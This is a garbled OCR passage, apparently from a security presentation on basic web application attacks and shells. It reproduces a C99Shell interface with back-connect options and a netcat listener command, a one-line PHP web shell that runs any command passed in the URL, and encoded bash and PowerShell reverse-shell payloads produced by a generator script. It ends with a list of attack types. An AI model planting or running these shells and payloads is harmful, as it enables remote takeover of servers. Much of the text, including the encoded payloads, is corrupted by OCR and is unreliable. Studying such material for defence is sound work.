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Initial access Breach escalation Results

Figure 40. Steps in Basic Web Application Attacks
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Shells
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o OS% W AIAT b "

James (aws) 2

fusr/local/bin 3 aws 1
user-name: LQHEEI

-=user-name [string]: The name of the user to create.

\
®
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https://aws.amazon.com/ko/what-is/cli/
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C99Shell v. 1.0 pre-release build #17 ¢

Software: Apache. PHP/5.2.17-0.ic-vip.
uname -a: Linux #1 SMP Wed Aug 3 07:36:31 CEST 2011 uB6_64

Safe-mode:
fhome/ frootf drwxr-ur-x
Free 199.68 GB of 920.01 GB (21.7%)

[Home] [Back] [Forward] [UPDIR] [Refresh] [Search] [Buffer] [Encoder] [Tools] [Proc.] [FTP
brute] [Sec.] [SQL] [PHP-code] [Self remove] [Logout]

Shell

I\:‘fl i ‘ (Y cixtor.com [t - _ .
P 31373 c9S Using PERL Bind

Back connection:
HOST: 10.10.30.20 '‘orty 31373 Using PERL Connect

Click "Connect” anly after open port for it. You should use NetCat@, run "'nc -1 -n -v -p 31373"!

Datapipe:
T HOST: irc.dalnet.ru: 6667 Local port: 8081 Using PERL Run

Mote: sources will be downloaded from remote server.

: Command execute ::

Enter:

Execute

https://www.hyyat.com/en/knowledgebase/hacking-tools-c99-shell/
https://github.com/cixtor/phpshellgen
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<form method="get" name="shell™>
<input type="text" name="command” 1d="command” size="80" autofocus>

<input type="submit™ value="Run">
</torm>
<pre»<?php 1f(1sset($ GET| command’])) { system($% GET[ command’]); }?></pre>

root@hk:~/genRev_shell# python3 genRevershell.py 192.168.1.6
Full pay l ad for cmd to reverse Ehﬂll for Linux target is:
echo YmFzaCAtaSA+Ji1AvZ/GV2L3RjcCBxOTIuMTYALJEuN1LSx HjHﬁIDﬂ+]ﬁE: se64 -d|bash

rooti@hk:~/genRev _shell# python3 genRevershell.py 192.168.1.6 1234

Full pay la d for cmd to reverse shell ftor Windows target is:

powershell.exe -EncodedCommand JABjAGwAaQBlAGAAdAAgADBATABOAGUAdwATAESBAYsBgAGUAYWBOACAAUWBSAHMADABL A
GOAL gBOAGUAJAAUAFMAbWEBJAGSAZ QBBAHMAL gBUAEMAUABDAGWAaQB1AGAAdAACAC cAMQASADTAL gAxADYAOAAUADEAL gA2ACCAL
AAxADT AMWABAC kAOWAKAHMAJABy AGUAYQBTtACAAPQAsACQAYWBsAGKAZQBuAHQAL gBHAGUAJABTAHQAC2B 1 AGEABQACACKAOWBDA
GIAeQBOAGUAWWBJAFPAIABiAHKAJAB1AHMATAASACAAMAAUACAANEATADUAMWA 1 AHWAIQB7 ADAAFQAT7AHCAaABPAGWAZQACACEA]
ABpACAAPQAZACQACWBBAHIAZQBhAGOAL gBSAGUAY(QBKACEATABiAHKAJAB1AHMALAAgADAAL AASACQAY gBSAHOAZOBzACAATABL,
GAAZWBOAGEAKQAPACAALQBUAGUATAAWACKAewA7ACQAZABhAHQAYQAgADOAT ANCAEAAZQB3ACOATWRIAGOAZQBjAHQATAALAFQAE
QBWAGUATgBhAGOAZQAgAFMA=QBzAHQAZQBLACAAVABLAHgAdAAUAE EAUWBDAEKASQBFAGAAYWBVAGQAaQBUAGCAKQAUAECAZQBOL
FMAdABYAGKkAbgBnACgAIABiAHKAABLAHMALAAWACWATAAKAGKAKQA7ACQACWBIAGAAZABIAGEAYWBrACAAPQAZACEAaQB1AHEAT
AAKAGQAYQBOAGEATAAYADAAT gAxACAATAASAEBAJQBOACEAUWBOAHIAaQBUAGCATAAPADsAIABzAGUAbgBKAGIAYQBjAGSAMgAgS
CAAPQAgACQACWBLAGAAZABiAGEAYWBrACAAKWAAC cAUABTACAAIWAEACSATAACAHAADWBKACKAL gBQAGEAdABOACAAKWAZACCAP
sAgACcAOWAKAHMAZQBUAGQAYgBSAHQAZQAZADOATAACAF sAdABLAHgAdAAUAGUAbgBjAGBAZABpAGAAZWBdADOAOgBBAFMAQWB]A
EkAKQAUAEcAZQBOAETAe(QBOAGUACWADACQACWBI1AGAAZABI AGEAYWBrADTAKQA7ACQACWBOAHIAZ QBhAGBAL gBXAHIAaQBBAGUAK
AALAHMALﬂEuAhﬂA?L1-AHHALHA-ADAALAARAHMHLQEUHhQA?E:JAHQALQAUAEHALQEUAhcAdAEgALhAﬂthAHMAdAEFHhUAFQEtﬁ
CAARgBs AHUACwWBoACgcAKQBSADsATAA=

root@hk:~/genRev_shelli [

L

https://github.com/HoangKien1020/WebShells/blob/main/README.md 25
https://www.igloo.co.kr/security-information/%EC%9B%BI%EC%89%I8%E C%ID%84-%ECKID%BELIECHIABAINE DA%I5%IC-BEA%BI%BSWEAKB2%AI-

WBEDWSCUHABWEBWIFWACKEBWEBWALIECHIEW%E4-UEBWBIWUEOWED%I9%94-%EBWBOWEF-%EBWECHE0OWECHIDWNUECHA0%E4%EBRIEX%BS/




e TELNET
e NetBios

* SQL Iinjection
« CSRF

« XSS

* Rule Match

« DDo0S
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